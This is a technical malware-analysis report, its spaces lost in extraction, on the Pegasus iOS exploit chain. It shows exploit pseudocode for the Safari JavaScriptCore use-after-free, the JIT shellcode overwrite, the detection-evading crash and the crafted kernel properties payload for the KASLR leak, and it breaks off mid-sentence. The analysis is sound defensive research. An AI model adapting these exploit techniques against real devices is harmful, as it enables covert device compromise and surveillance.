You are on page 1of 44

TechnicalAnalysisofthePegasus

ExploitsoniOS

Section1:PegasusExploitationofSafari(CVE20164657)
Background
Exploitation
Settingupandtriggeringthevulnerability
Acquiringanarbitraryread/writeprimitive
Leakinganobjectaddress
Nativecodeexecution
Evadingdetection
Section2:ExploitationofKASLRbyPegasus
DifferencesBetween32and64BitBinaries
APILoading
EnvironmentSetupandPlatformDetermination
DefeatingKASLR
EstablishingRead/Write/ExecutePrimitivesonPreviouslyRootedDevices(32Bit)
ThreadManipulation
EstablishingCommunicationChannel(32Bit)
PayloadConstructionandKernelInsertion(32Bit)
PayloadConstructionandKernelInsertion(64Bit)
EstablishingKernelRead/WritePrimitives(32Bit)
EstablishingKernelRead/WritePrimitives(64Bit)
EstablishingaKernelExecutePrimitive(32Bit)
PatchingtheKerneltoAllowKernelPortAccess
Section3:PrivilegeEscalationandActivatingtheJailbreakBinary
SystemModificationforPrivilegeEscalation
DisablingCodeSigning
RemountingtheDrive
Cleanup
NextStageInstallation
ExistingJailbreakDetection
Section4:PegasusPersistenceMechanism
PegasusPersistenceMechanism
JavaScriptCoreMemoryCorruptionIssue
Exploitation
Acquiringanarbitraryread/writeprimitive
Leakinganobjectaddress
Unsignednativecodeexecution

2
3
7
7
9
9
9
10
11
12
12
13
16
19
21
21
22
25
25
30
31
31
33
34
34
35
36
36
37
39
40
40
41
41
42
42

Page1

Section1:PegasusExploitationofSafari
(CVE20164657)

TheFirstStageofInfection

This section reports on first stage of the Pegasus exploitoftheTridentzeroday


vulnerabilities on iOS, discovered byresearchersatLookoutandCitizenLab.The
first stage of the attack is triggered whentheuserclicksaspearphishinglinkthat
opens the Safari browser. This enables the exploit of a vulnerability in WebKits
JavaScriptCorelibrary(CVE20164657).

Page2

AnalysisofthePegasusSafariExploit

ThefirststageofPegasusexploitsavulnerabilityinWebKitsJavaScriptCorelibrary
(CVE20164657).TheexploitusestheSafariwebbrowsertorunaJavaScriptpayloadthat
exploitstheinitialvulnerabilitytogainarbitrarycodeexecutioninthecontextoftheSafari
WebContentprocess.

Background
ThevulnerabilityexistswithintheslowAppend()methodofMarkedArgumentBufferandcanbe
exploitedviatheusageofaMarkedArgumentBufferinthestaticdefineProperties()method.The
defineProperties()methodacceptsasinputanobjectwhoseownenumerableproperties
constitutedescriptorsforthepropertiestobedefinedormodifiedonanothertargetobject.The
algorithmusedtoassociateeachofthesepropertieswiththetargetobjectdoestwoiterationsof
theprovidedlistofproperties.Inthefirstpass,eachofthepropertydescriptorsischeckedfor
properformattingandaPropertyDescriptorobjectiscreatedthatreferencestheunderlying
value.

size_t

numProperties

=
propertyNames.size()

Vector<PropertyDescriptor>

descriptors

MarkedArgumentBuffer

markBuffer

for

(size_t

i
=
0

i
<
numProperties

i++)

JSValue

prop

=
properties>get(exec,

propertyNames[i])

if

(exec>hadException())

return

jsNull()

PropertyDescriptor

descriptor

if

(!toPropertyDescriptor(exec,

prop,

descriptor))

return

jsNull()

descriptors.append(descriptor)

Thesecondpassisperformedaftereachpropertyhasbeenvalidated.Thispassassociates
eachoftheusersuppliedpropertieswiththetargetobject,usingthetypespecific
defineOwnProperty()method.

for

(size_t

i
=
0

i
<
numProperties

i++)

Identifier

propertyName

=
propertyNames[i]

if

(exec>propertyNames().isPrivateName(propertyName))

continue

object>methodTable(exec>vm())>defineOwnProperty(object,

exec,

propertyName,
descriptors[i],

true)

ThismethodmayresultinuserdefinedJavaScriptmethods(thatareassociatedwiththe
propertybeingdefined)beingcalled.Withinanyoftheseuserdefinedmethods,itispossible
thatagarbagecollectioncyclemaybetriggered,resultinginanyunmarkedheapbacked
objectsbeingfree()ed.Therefore,itisimportantthateachofthetemporaryreferencestothese
Page3

objects,storedwithintheindividualPropertyDescriptorsinthedescriptorsvector,beindividually
markedtoensurethatthesereferencestonotbecomestale.Toachievethis,a
MarkedArgumentBufferisused.Thisclassisintendedtotemporarilypreventthevalues
appendedtoitfrombeinggarbagecollectedduringtheperiodforwhichitisinscope.

TounderstandhowMarkedArgumentBuffersworkwemustfirstunderstandsomebasicsof
JavaScriptCoregarbagecollection.Thegarbagecollectorisresponsiblefordeallocatingobjects
thatarenolongerreferencedandrunsatrandomintervalsthatincreaseinfrequencyasmore
memoryisusedbytheWebContentprocess.Todeterminewhetheranobjectisreferenced,the
garbagecollectorwalksthestackandlooksforreferencestotheobject.Referencestoanobject
mayalsoexistontheapplicationheap,however,soanalternatemechanism(whichwillbe
explainedindetailbelow)mustbeusedforthesecases.

AMarkedArgumentBufferinitiallyattemptstomaintainaninlinestackbuffercontainingeach
value.Whenthestackiswalkedwithingarbagecollection,eachvaluewillbenotedandthe
underlyingobjectswillavoiddeallocation.

class

MarkedArgumentBuffer

{
...
private:

static

const

size_t

inlineCapacity

=
8

public:
...

MarkedArgumentBuffer()

:
m_size(0)

,
m_capacity(inlineCapacity)

,
m_buffer(m_inlineBuffer)

,
m_markSet(0)

}
...

void

append(JSValue

v)

if

(m_size

>=

m_capacity)

return

slowAppend(v)

slotFor(m_size)

=
JSValue::encode(v)

++m_size

}
...
private:
...

int

m_size

int

m_capacity

EncodedJSValue

m_inlineBuffer[inlineCapacity]

EncodedJSValue*

m_buffer

ListSet*

m_markSet

Page4

Thesizeofthisinlinestackbufferislimitedtoeightvalues.Whentheninthvalueisaddedtoa
MarkedArgumentBuffer,theunderlyingbufferismovedtotheheapandthecapacityis
expanded.

void

MarkedArgumentBuffer::slowAppend(JSValue

v)
{

int

newCapacity

=
m_capacity

*
4

EncodedJSValue*

newBuffer

=
new

EncodedJSValue[newCapacity]

for

(int

i
=
0

i
<
m_capacity

++i)

newBuffer[i]

=
m_buffer[i]

if

(EncodedJSValue*

base

=
mallocBase())

delete

[]

base

m_buffer

=
newBuffer

m_capacity

=
newCapacity

Oncetheunderlyingbufferhasmovedtotheheap,valuesarenotautomaticallyprotectedfrom
garbagecollection.Toensurethattheseobjectsarenotdeallocated,thegarbagecollector
performsaMarkingArgumentBuffersphaseinwhicheachvaluecontainedwithina
MarkedArgumentBufferthathasbeenaddedtotheHeapsm_markListSetismarked(markinga
cellensuresthatitwillnotbedeallocatedinaparticulargarbagecollectioncycle).Forthis
methodofmarkingtowork,theMarkedArgumentBuffermustbeaddedtothemarkListSetatthe
sametimethattheMarkedArgumentBuffersunderlyingvaluesaremovedtotheheap.

//

As

long

as

our

size

stays

within

our

Vector's

inline

//

capacity,

all

our

values

are

allocated

on

the

stack,

and

//

therefore

don't

need

explicit

marking.

Once

our

size

exceeds

//

our

Vector's

inline

capacity,

though,

our

values

move

to

the

//

heap,

where

they

do

need

explicit

marking.

for

(int

i
=
0

i
<
m_size

++i)

Heap*

heap

=
Heap::heap(JSValue::decode(slotFor(i)))

if

(!heap)

continue

m_markSet

=
&heap>markListSet()

m_markSet>add(this)

break

Theabovecodeattemptstoacquiretheheapcontextforavalueandaddthe
MarkedArgumentBuffertotheHeapsmarkListSet.However,thisisonlyattemptedonceforthe
ninthvalueaddedtotheMarkedArgumentBuffer.

inline

Heap*

Heap::heap(const

JSValue

v)
{

if

(!v.isCell())

return

return

heap(v.asCell())
}

Page5

AJSValuecontainsatagwhichdescribesthetypeofthevaluethatitencodes.Inthecaseof
complexobjectsthistagwillbeCellTagandtheJSValuewillencodeapointertoanunderlying
itemontheHeap.Alternatively,forsimpletypeswheretheentireunderlyingvalueofthe
variablecanbeencodeddirectlyintoaJSValue(ex.Integers,Booleans,null,andundefined),
storingthevalueontheheapwouldberedundantandadifferentidentifyingtagwillbeused.
ThefunctionJSValue::isCell()isusedtodeterminewhetheraJSValueencodesapointertoa
cellontheHeap.Becausesimpletypesdonotpointtotheheap,attemptingtoacquiretheHeap
(viaacalltoHeap::heap())forthesetypeshasnomeaningandwillthereforereturnNULL.

inline

bool

JSValue::isCell()

const
{

return

!(u.asInt64

&
TagMask)
}

Asaresult,iftheninthvalueaddedtoaMarkedArgumentBufferisnotaheapbackedvalue,
attemptingtoacquiretheHeapcontextwillreturnNULLandtheMarkedArgumentBufferwill
neverbeaddedtotheHeapsmarkListSet.ThismeansthattheMarkedArgumentBufferwillno
longerserveitspurpose(toprotecttheitemsthatitcontainsfromdeallocation)foranyitemafter
theninth.Anyreferencetoaheapbackedproperty(aftertheninth)containedwithinthe
descriptorsvectorhasthepotentialtogostale.Inreality,atleastoneotherreferencetothese
valuesstillexists(theJavaScriptvariablethatwaspassedtodefineProperties()).Inorderforthe
referenceswithinthedescriptorsvectortogostale,theseremainingreferencestotheJSValue
mustalsoberemovedbeforegarbagecollectionoccurs.

ThecalltodefineOwnProperty()(withinthesecondloopofdefineProperties())mayresultin
callingusercontrolledmethodsdefinedonpropertyvalues.Asaresult,thelastmarked
Page6

referencestoapropertyvaluecouldberemovedwithinthisuserdefinedJavaScriptcode.If
garbagecollectioncanbetriggeredbetweentheremovalofallremainingreferencestoa
propertyvalueandthe(nowstale)valuefromthedescriptorsvectorbeingdefinedonthetarget
object,areferencetofree()edmemorywillbedefinedasapropertyonthetargetobject.

Exploitation
ThePegasusexploittriggersthisvulnerabilitybypassingaspecificallycraftedsequenceof
propertiestothedefineProperties()method.Whentheseindividualpropertiesaresubsequently
insertedintoaMarkedArgumentBufferthevulnerabilityistriggeredsuchthataJSArrayobject
willbeimproperlydeallocatedifgarbagecollectioncanbetriggeredatacriticalpointintime.
Becausegarbagecollectioncannotbetriggereddeterministically,theexploitmakesrepeated
attemptstotriggertheimproperdeallocationandsubsequentreallocation(foratotaloften
attempts),testingeachtimewhetherastalereferencehasbeensuccessfullyacquired.
Assuminggarbagecollectionhasbeentriggeredatthecorrecttime,anotherobjectisallocated
overthetopofthenowstaleJSArray.Theexploitthensetsupthetoolsneededtogainarbitrary
nativecodeexecution,namelyaread/writeprimitiveandtheabilitytoleaktheaddressofan
arbitraryJavaScriptobject.Oncethisiscompletetheexploitcancreateanexecutablemapping
containingthenativecodepayload.Thefollowingsectionsdetailthevariousstagesofthis
process.

Settingupandtriggeringthevulnerability
Inordertoachievearbitrarycodeexecution,theexploittriggersthevulnerablecodepathusing
aJSArrayobject.Thefollowingpseudocodeisusedtotriggerthevulnerability.

var

arr

=
new

Array(2047)

var

not_number

=
{}

not_number.toString

=
function()

arr

=
null

props["stale"]["value"]

=
null

//

Trigger

garbage

collection

and

reallocation

over

stale

object

return

10

var

props

=
{

p0

:
{
value

:
0
},

p1

:
{
value

:
1
},

p2

:
{
value

:
2
},

p3

:
{
value

:
3
},

p4

:
{
value

:
4
},

p5

:
{
value

:
5
},

p6

:
{
value

:
6
},

p7

:
{
value

:
7
},

p8

:
{
value

:
8
},

length

:
{
value

:
not_number

},

stale

:
{
value

:
arr

},

after

:
{
value

:
666

}
Page7


var

target

=
[]

Object.defineProperties(target,

props)

Thespecifiedpropsobjecthasbeenspecificallycraftedtotriggerthevulnerabilityin
slowAppend().WhentheninthpropertyisaddedtotheMarkedArgumentBuffer(p8),
slowAppend()willfailtoacquireaheapcontext(becausethevalueissimpletype,aninteger,
andnotbackedbyanitemontheheap).SubsequentHeapbackedvalues(not_numberand
arr)willnotbeexplicitlyprotectedfromdeallocationbytheMarkedArgumentBufferduring
garbagecollection.

WhendefineOwnProperty()iscalledforthelengthproperty,itwillattempttoconvertthevalue
(not_number)toanumber.Aspartofthiscodepath,thetoString()methodwillbecalled,
allowingthelasttworeferencestothearrJSArraytoberemoved.Onceremoved,thisJSArray
isnolongermarked,andthenextgarbagecollectionpasswilldeallocatetheobject.Pegasus
createsmemorypressure(allocatesalargeamountofmemory)withinthetoString()methodin
anattempttoforcegarbagecollectiontorun(anddeallocatethearrobject).

var

attempts

=
new

Array(4250000)
var

pressure

=
new

Array(100)
...
not_number.toString

=
function()

...

for

(var

i
=
0

i
<
pressure.length

i++)

pressure[i]

=
new

Uint32Array(262144)

var

buffer

=
new

ArrayBuffer(80)

var

uintArray

=
new

Uint32Array(buffer)

uintArray[0]

=
0xAABBCCDD

for

(i

=
0

i
<
attempts.length

i++)

attempts[i]

=
new

Uint32Array(buffer)

}
}

Eachofthe4.25millionUint32Arraysallocatedfortheattemptsarrayusethesamebacking
ArrayBuffer.TheseobjectsareusedtoattempttoreallocateaseriesofUint32Arraysintothe
samememoryreferencedbytheJSArrayobject(arr).

Oncecomplete,theexploitcheckstoseewhethergarbagecollectionwassuccessfully
triggered.

var

before_len

=
arr.length
Object.defineProperties(target,

props)
stale

=
target.stale
var

after_len

=
stale.length
if

(before_len

==

after_len)

throw

new

RecoverableException(8)
}

Page8

IfthelengthoftheJSArrayremainsthesameitmeansthateithergarbagecollectionwasnot
triggeredorthatnoneoftheallocatedUint32Arrayswereallocatedintothesameaddressasthe
staleobject.Inthesecases,theexploithasfailedandtheexploitisretried.

Acquiringanarbitraryread/writeprimitive
Assumingtheexploithassucceededtothispoint,therearenowtwoobjectsofdifferenttypes
thatarerepresentedbythesamememory.Thefirstisthe(nowstale)JSArray,andthesecond
isoneofthemanyUint32Arraysthatwereallocated(infact,theunderlyingtemplatedtypeis
JSGenericTypedArrayView).Byreadingfromandwritingtooffsetsintothestaleobject,member
variablesoftheJSGenericTypedArrayViewcanbereadorcorrupted.Specifically,theexploit
writestoanoffsetintothestaleJSArraythatoverlapswiththelengthofthe
JSGenericTypedArrayView,effectivelysettingthelengthoftheUint32Arrayto0xFFFFFFFF.
Corruptingthisvaluewillallowthearraytobetreatedasaviewoftheentirevirtualaddress
spaceoftheWebContentprocess(anarbitraryread/writeprimitive).

Theexploitstillmustdeterminewhichofthe4.25millionUint32Arraysthatwereallocatedaligns
withthestaleobject.Thiscanbedeterminedbyiteratingthrougheachofthearraysand
checkingwhetherthelengthhaschangedto0xFFFFFFFF.Allotherarrayswillstillhavethe
originalbackingArrayBuffer(oralengthof80/4).

for

(x

=
attempts.length

x
>=

x)

if

(attempts[x].length

!=

80

/
4)

if

(attempts[x].length

==

0xFFFFFFFF)

memory_view

=
attempts[x]

...

break

Leakinganobjectaddress
Thefinalcomponentneededtocompletetheexploitistheabilitytoleaktheaddressofan
arbitraryJavaScriptobject.ThePegasusexploitaccomplishesthisusingthesamemechanism
thatwasusedtocorruptthelengthoftheUint32Arrayusedfortheread/writeprimitive.By
writingtoanoffsetintothestaleobject,thebufferofaUint32Arrayiscorruptedtopointtoa
usercontrolledJSArray.BysettingthefirstelementofthatJSArraytotheJavaScriptobjectto
beleaked(bycorruptingthepointertotheunderlyingstorageoftheUint32Array),theobjects
addresscanbereadbackoutoftheUint32Array.

Nativecodeexecution
AllthatislefttodoforthefirststageofthePegasusexploitistocreateanexecutablemapping
thatwillcontaintheshellcodetobeexecuted.Toaccomplishthispurpose,aJSFunctionobject
iscreated(containinghundredsofemptytry/catchblocksthatwilllaterbeoverwritten).Tohelp
ensurethattheJavaScriptwillbecompiledintonativecodebytheJIT,thefunctionis
Page9

subsequentlycalledrepeatedly.ThisbehaviorensuresthattheJITcompiled(JITed)versionof
thefunction(whichwilllaterbeoverwritten)willbemarkedashighprioritycodethatislikelyto
becalledregularlyandshouldthereforenotbereleased.Becauseofthewaythatthe
JavaScriptCoreenginehandlesJITedcode,thiswillresideinanareaofmemorythatismapped
asread/write/execute.

var

body

=
''
for

(var

k
=
0

k
<
0x600

k++)

body

+=

'try

{}

catch(e)

{}'
}
var

to_overwrite

=
new

Function('a',

body)
for

(var

i
=
0

i
<
0x10000

i++)

to_overwrite()
}

TheaddressofthisJSFunctionobjectcanthenbeleakedandthevariousmemberscanberead
toacquiretheaddressoftheRWXmapping.TheJITedversionofthetry/catchblocksarethen
overwrittenwithshellcode,andtheto_overwrite()functioncansimplybecalledtoachieve
arbitrarycodeexecution.

Evadingdetection
Whenexploitationfails,thePegasusexploitcontainsabailoutcodepath,presumablytoensure
thatcrashdumpsdonotexposetheexploitablevulnerability.Thisbailoutcodetriggersacrash
onacleanNULLdereference.Mostlikely,ananalystanalyzingsuchacrashdumpwould
quicklyidentifythebugasanonexploitableNULLpointerdereferenceandnotsuspectanything
moresinister.Thefollowingcodeisusedtotriggerthiscleancrash.

window.__proto__.__proto__

=
null

x
=
new

String("a")

x.__proto__.__proto__.__proto__

=
window

x.Audio

Page10

Section2:ExploitationofKASLRbyPegasus
StageTwoofInfection:KernelLocationDisclosure

Once the attack is launched in the first stage, the second stage exploits a
kernel information leak (CVE20164655). This prepares the device for the
kernelmemorycorruption(CVE20164656)thatultimatelyleadstojailbreak.

Page11

AnalysisofPegasusKASLRExploit

Thesecondstage,Stage2,isresponsibleforescalatingprivilegesonthevictimsiPhoneand
establishinganenvironmentwherejailbreakingthevictimsdeviceispossible.TheStage2
binaryisusedintwodistinctcontextswithinPegasus.Bydefault,Stage2constitutesa
completeiOSkernelexploit.Alternatively,theStage2binaryattemptstodetectiOSdevicesthat
havealreadybeenjailbrokenand,incaseswhereanexistingjailbreakisdetected(andhas
installedaknownbackdoor),usesthepreexistingbackdoormechanismstoinstallPegasus
specifickernelpatches.

Inordertoperformthesetasks,Stage2mustfirstdeterminethelocationofthekernelin
memory,escalateitsownprivileges,disablesafeguards,andtheninstallthenecessarytoolsfor
jailbreakingadevice.InordertoaccommodatemultipleiPhoneversions,Stage2comesintwo
flavors,32bitand64bit.Together,thetwoversionsoftheStage2binarytargetatotalof199
iPhonecombinations.

TheStage2variantssharealotofdesignsimilarities,butdeviateenoughintheirapproachthat
itisbesttolookateachvariantinrelativeisolation.Thesubsectionsthatfollowwillwalkthrough
thestepsinvolvedineachoftheStage2variantswhilepointingoutareasofsimilaritybetween
thevariantswhentheyarise.

DifferencesBetween32and64BitBinaries
The32bitStage2binary(orsimply32Stage2)operatesontheolderiPhonemodels(iPhone
4SthroughiPhone5c)andtargetsiOS9.0throughiOS9.3.3.The64bitStage2binary(or
simply64Stage2)operatesontheneweriPhonemodels(iPhone5Sandlater)andtargetsiOS
9.0throughiOS9.3.3.Bothbinariesperformthesamegeneralstepsandexploitthesame
underlyingvulnerabilities.However,theexploitationofthesevulnerabilitiesvariesbetween
versions.Inareaswherethemechanismsdiffersubstantiallythedifferenceswillbespecifically
notedordiscussedseparately.

APILoading
Stage2requiresanumberofAPIfunctionstobepresentinordertosucceed.Inordertoensure
thefunctionsareavailable,Stage2dynamicallyloadsthenecessaryAPIfunctionaddressesvia
dlsym
calls.WhiledynamicallyresolvingAPIfunctionaddressesisbynomeansanovel
techniqueformalware,whatisinterestingaboutStage2sAPIloadingisthefactthatthe
authorsofthebinaryreloadmanyoftheAPIfunctionsmultipletimes.Inthem
ain
function
alone,alargenumberofAPIfunctionaddressesareloadedwithonlyasmallsubsetofthose
functionseverfindingthemselvesusedduringthecourseofStage2sexecution(forexample,
theaddressofs
ocket
isloadedintomemorybutisnevercalled).Afterloadingtheinitialsetof
Page12

APIfunctions,32stage2callsasubroutine(identifiedinthisreportasi
nitialize
)thatinturn
callsseveralothersubroutines,eachofwhichisresponsibleforloadingadditionalAPIfunctions
inadditiontoperformingvariousstartuptasks.

ThegroupingoftheAPIfunctionsbeingloaded(intermsofwhichAPIfunctionsareloadingby
whichStage2functions)andtheinclusionofmultipleAPIfunctionsbeingloadedmultipletimes
suggeststhattheAPIloadingisspecifictoindividualcomponentsoroperationsoftheStage2
binary.Forinstance,asdiscussedlater,apairoffunctionsareresponsiblefordecompressing
thejailbreakfiles,changingtheirpermissionsviac
hmod
,andpositioningthefilesinthecorrect
locationonthevictimsiPhone.TheAPIfunctionsresponsiblefortheseoperationsareall
loadedbyaselfcontainedfunction.TheloadingfunctiononlyloadsthoseAPIfunctionsthatare
necessaryforthedescribedoperations,andtheAPIsarenotsharedwithanyotherpartofthe
Stage2system.

TheanalysisofStage2wasalsomadesomewhateasiergiventheheavyuseofdebuglogging
throughoutthebinary.Callstotheloggingsubsystemgenerallyreferencetheoriginalfile
namesusedbytheexploitdevelopers.Thepresenceofthisdebuggingcodedisclosesthe
presenceofatleastthefollowingindividualmodules(orsubsystems):

1. fs.cLoadsAPIfunctionsrelatedtofileandfilesystemmanagementsuchasf
tw
,
open
,r
ead
,r
ename
,andm
ount
2. kaslr.cLoadsAPIfunctionssuchasI
ORegistryEntryGetChildIterator
,
IORegistryEntryGetProperty
,andI
OServiceGetMatchingService
that
relatetofindingtheaddressofthekernelusingavulnerabilityinthe
io_service_open_extended
function
3. bh.cLoadsAPIfunctionsthatrelatetothedecompressionofnextstagepayloadsand
theirproperplacementonthevictimsiPhonebyusingfunctionssuchas
BZ2_bzDecompress
,c
hmod
,andm
alloc
4. safari.cLoadsAPIfunctionssuchass
ync
,e
xit
,ands
trcpy
thatareusedfor
clearingSafaricachefilesandterminatingtheSafariprocess.Thiscleanupisrequired
forthecasewherewesucceedandexitcleanly,astheSafaricrashcleanup(described
intheStage1writeup)willneveroccur.

TheseartifactssuggestthattheStage2binaryisbasedonamodulardesignphilosophyor,at
theveryleast,ismadeupofvariouslibrarysourcecodefilesthatareultimatelytiedtogetherto
formtheStage2binary.ThevariouscomponentsthatmakeuptheStage2exploitwerelikely
designedtobereusedacrossmultipleiOSexploitchains.

EnvironmentSetupandPlatformDetermination
Afteri
nitialize
completes,Stage2callsafunctionthatspecifiesaglobalcallbackfunction
thatisusedwheneverStage2terminatesduetoanerror.Basedonthefilenamesuppliedinthe
writeLog,mostlikelythefunctionisana
ssert
stylecallback.
Page13


Inordertodeterminetheplatform(hardware)ofthevictimsdevice,acallismadeto
sysctlbyname
fortheh
w.machine
object.Anothercalltos
ysctlbyname
ismadeforthe
kern.osversion
information.Fromthesetwocalls,Stage2isabletoaccuratelydetermine
theplatformandiOSkernelversions.Thisinformationisthenusedtofindadatastructurethat
definesthevariousmemoryoffsetsthatStage2willuseforitsexploitationoperations.IfStage2
isunabletofindtheappropriatedatastructurefortheplatform/iOScombination,theprocess
executestheassertcallbackandexits.

Stage2usesalockfileduringitsexecution.Aspartofthesetupoftheworkingenvironment,
Stage2establishesthefilenameandpathglobalvariablesforthelockfileas
$HOME/tmp/lock

(N
ote:$HOMEisanapplicationspecificvariable).

The32bitversionoftheStage2binaryhas100differentcombinationsofplatformandiOSthat
itsupports,asidentifiedinthetablebelow.

iOSVersion

iPhone4S
iPhone5
iPhone5
iPhone5c
iPhone5c
(iPhone4,1) (iPhone5,1) (iPhone5,2) (iPhone5,3) (iPhone5,4)

9.0

9.0.1

9.0.2

9.1

9.2

9.2.1

9.3(13E233)

9.3(13E237)

9.3Beta

9.3Beta3

9.3Beta6

9.3Beta7

9.3.1

9.3.2Beta

Page14

9.3.2Beta2

9.3.2Beta3

9.3.2Beta4

9.3.2

9.3.3Beta

9.3.3Beta2

9.3.3Beta3

9.3.3Beta4

9.3.3

Similarly,the64bitversionoftheStage2binarysupports99differentiOSandiPhone
combinations.ThesupportediPhoneandiOSversionsof64Stage2areidentifiedinthetable
below.

iOS
Version

iPhone
5s
(iPhone6
,1)

iPhone
5s
(iPhone6
,2)

iPhone6
Plus
(iPhone7
,1)

iPhone6
(iPhone7
,2)

iPhone
6s
(iPhone8
,1)

iPhone
6sPlus
(iPhone8
,2)

iPhone
SE
(iPhone
8,4)

9.2.1
(13D15)

iOS9.2.1
(13D20)

9.3
(13E233)

9.3
(13E234)

9.3
(13E237)

9.3Beta
4

9.3Beta
6

Page15

9.3.1

9.3.2
Beta

9.3.2
Beta2

9.3.2
Beta3

9.3.2
Beta4

9.3.2

9.3.3
Beta

9.3.3
Beta2

9.3.3
Beta3

9.3.3
Beta4

9.3.3

9.3Beta
7

DefeatingKASLR
ThemajorityofStage2sfunctionalitydealswithmanipulatingthekernelinordertodisable
securityfeaturesonthevictimsdevice.Inordertomanipulatethekernel,Stage2mustfirst
locatethekernel.Undernormalcircumstancesthekernelwillbemappedintoarandomized
locationduetothekerneladdressspacelayoutrandomization(KASLR)mechanismthatiOS
employs.KASLRisdesignedtopreventprocessesfromlocatingthekernelinmemoryby
mappingthekerneltoapseudorandomlocationinmemoryeachtimethedeviceispoweredon
bytheuser.Inordertolocatethekernel,Stage2mustfindawaytoexposeamemoryaddress
withinkernelmemoryspacetoaprocessinuserspace.Stage2usesthevulnerability
CVE201646551inorderexposeamemoryaddressinkernelspace.

h
ttp://www.securityfocus.com/bid/92651
Page16

Inordertofindthekernel,Stage2beginsbyopeningaporttotheIOKitsubsystem.Failingthis,
Stage2callstheassertcallbackandexits.AcalltoI
OServiceMatching
fortheservice
namedA
ppleKeyStore
ismadebyStage2,andtheresultsofthecallaregivento
IOServiceGetMatchingService
inordertoobtainai
o_service_t
objectcontainingthe
desiredregisteredIOKitIOService(inthiscase,A
ppleKeyStore
).WiththeIOServicehandle,
Stage2callsi
o_service_open_extended
andpassesaspeciallycraftedpropertiesfieldto
theservice.Thepropertiesfieldisa(serialized)binaryrepresentationofXMLdatathat
io_service_open_extended
ultimatelypassestotheO
SUnserializeBinary
function
2
locatedinthekernel .WithintheO
SUnserializeBinary
functionisaswitchstatementthat
handlesthevarioustypesofdatastructuresfoundwithinabinaryXMLdatastructure.Thedata
typefork
OSSerializeNumber
blindlyacceptsthelengthofthedatawithoutperformingany
typeofreasonableboundchecking,whichultimatelygivesthecallertheabilitytorequestmore
memorythanshouldbeallowed.Thisconditionoccursduetothefollowingcodefragments:

len

=
(key

&
kOSSerializeDataMask)
...
case

kOSSerializeNumber:
bufferPos

+=

sizeof(long

long)
if

(bufferPos

>
bufferSize)

break

value

=
next[1]

value

<<=

32

value

|=

next[0]

=
OSNumber::withNumber(value,

len)

next

+=

break

Theerroristhatthel
en
variablepassedtoO
SNumber::withNumber
isnotvalidatedbefore
beingpassedto
OSNumber::withNumber.
U
ltimately,thefunction
OSNumber::init
is
called,whichblindlytruststhisusercontrolledvalue.

bool

OSNumber::init(unsigned

long

long

inValue,

unsigned

int

newNumberOfBits)
{

if

(!super::init())

return

false

size

=
newNumberOfBits

value

=
(inValue

&
sizeMask)

return

true
}

ThisvulnerabilityallowsStage2tocontrolthesizeofO
SNumber
.The
io_service_open_extended
functionpreparestheenvironmentfortheuseof
OSUnserializedBinary
,asecondfunctionthatisrequiredtoperformtheexploitation.
However,beforelookingattheexploitation,itisworthwhiletolookatthemalicious
properties
fieldpassedtoi
o_service_open_extended
:

h
ttp://opensource.apple.com/source/xnu/xnu3248.20.55/libkern/c++/OSSerializeBinary.cpp
Page17

unsigned

char

properties[]

=
{

//

kOSSerializeBinarySignature

0xD3,

0x00,

0x00,

0x00,

//

kOSSerializeEndCollecton

|
kOSSerializeDictionary

|
2

0x02,

0x00,

0x00,

0x81,

//

KEY

1
specified

as

30

bytes

long

(0x1E)

//

kOSSerializeSymbol

|
0x1E

0x1E,

0x00,

0x00,

0x08,

"HIDKeyboardModifierMappingSrc",

0x00,
//

(30

bytes)

//

padding

(30

+
3
/
4
=
8
DWORDS)

0x00,

0x00,

//

VALUE

//

kOSSerializeNumber

specified

as

0x800

bits

(256

bytes)

0x00,

0x08,

0x00,

0x04,

//

value

of

OSNumber

(4)

0x04,

0x00,

0x00,

0x00,

0x00,

0x00,

0x00,

0x00,

//

KEY

2
specified

as

30

bytes

long

(0x1E)

//

kOSSerializeSymbol

|
0x1E

0x1E,

0x00,

0x00,

0x08,

"HIDKeyboardModifierMappingDst",

0x00, //

(30

chars)

//

padding

(30

+
3
/
4
=
8
DWORDS)

0x00,

0x00,

//

VALUE

//

kOSSerializeEndCollecton

|
kOSSerializeNumber

|
32

0x20,

0x00,

0x00,

0x84,

//

value

of

OSNumber

(0x193)

0x93,

0x01,

0x00,

0x00,

0x00,

0x00,

0x00,

0x00
}

Stage2callsI
ORegistryEntryGetProperty
inordertofindtheentryfor
HIDKeyboardModifierMappingSrc
,whichresultsinthep
roperties
arraycreatingan
OSNumber
largerthanthemaximum64bits(8bytes).Stage2usesthefollowingcodefragment
tocalli
s_io_registry_entry_get_property_bytes
,whichwillreadpasttheendofa
kernelstackbufferandcopythedatatoakernelheapbuffer.The
IORegistryEntryGetProperty
functionthenreturnsthisheapbuffertouserspace.
Pointersfromthisstackoverreadwillthereforebeleakedtousermodeandcanbeusedto
calculatethebaseaddressfortheiOSkernel:

do
{
...
}

while

(
IORegistryEntryGetProperty_0(v13,

"HIDKeyboardModifierMappingSrc",

dataBuffer,

&size)
)
writeLog(7,

"%.2s%5.5d\n",

"kaslr.c",

127)
if

(
size

>
8
)
{
writeLog(7,

"%.2s%5.5d\n",

"kaslr.c",

138)
return

dataBuffer[index]

&
0xFFF00000
}

Page18

Twoaspectsofthiscodeshouldbeexplicitlynoted.First,thepropertiesarrayspecifiesthatthe
OSNumber
valueis256bytesinsize,whichiswhatultimatelyleadstodataleakage.Second,
thei
ndex
valueusedtofindthememorylocationwithinthereturnedd
ataBuffer
arrayvaries
withtheplatform/iOScombination.ThedevelopersofStage2havemappedouteach
combinationofplatform/iOStodeterminewhatpositionwithinthed
ataBuffer
arrayavalid
kernellocationispresent.

IfStage2isunabletofindthebaseaddressforthekernelusingtheabovedescribedmethodor
ifStage2findsthatitisoperatingunderaversionofiOSotherthan9,theassertcallbackis
calledandtheapplicationterminates.

EstablishingRead/Write/ExecutePrimitivesonPreviouslyRooted
Devices(32Bit)
Afterfindingthekernelsbaseaddress,32Stage2generatesanIPCpipesetviathep
ipe
function.Ifthepipecommandfails,32Stage2callstheassertcallbackfunctionandexits.
Followingthegenerationofthepipeset,32Stage2usesakernelporttoobtaintheclock
servicesforthebatteryclock(alsoknownasthecalendarclock)andrealtimeclockviatwo
callstoh
ost_get_clock_service
.Ifeitheroftheclocksareinaccessible,theassertion
callbackiscalledand32Stage2exits.Thepipesetandtheclockportsarecriticaltoestablishing
abeachheadforgainingaccesstothekernelmemoryspaceasthecombinationofthethree
objects(thepipesetandthetwoclocks)arelaterusedforkernelmemoryreadandwriteaccess
aswellaskernelprocessspaceexecutionaccess.

Immediatelyfollowingthep
ipe
a
ndh
ost_get_clock_service
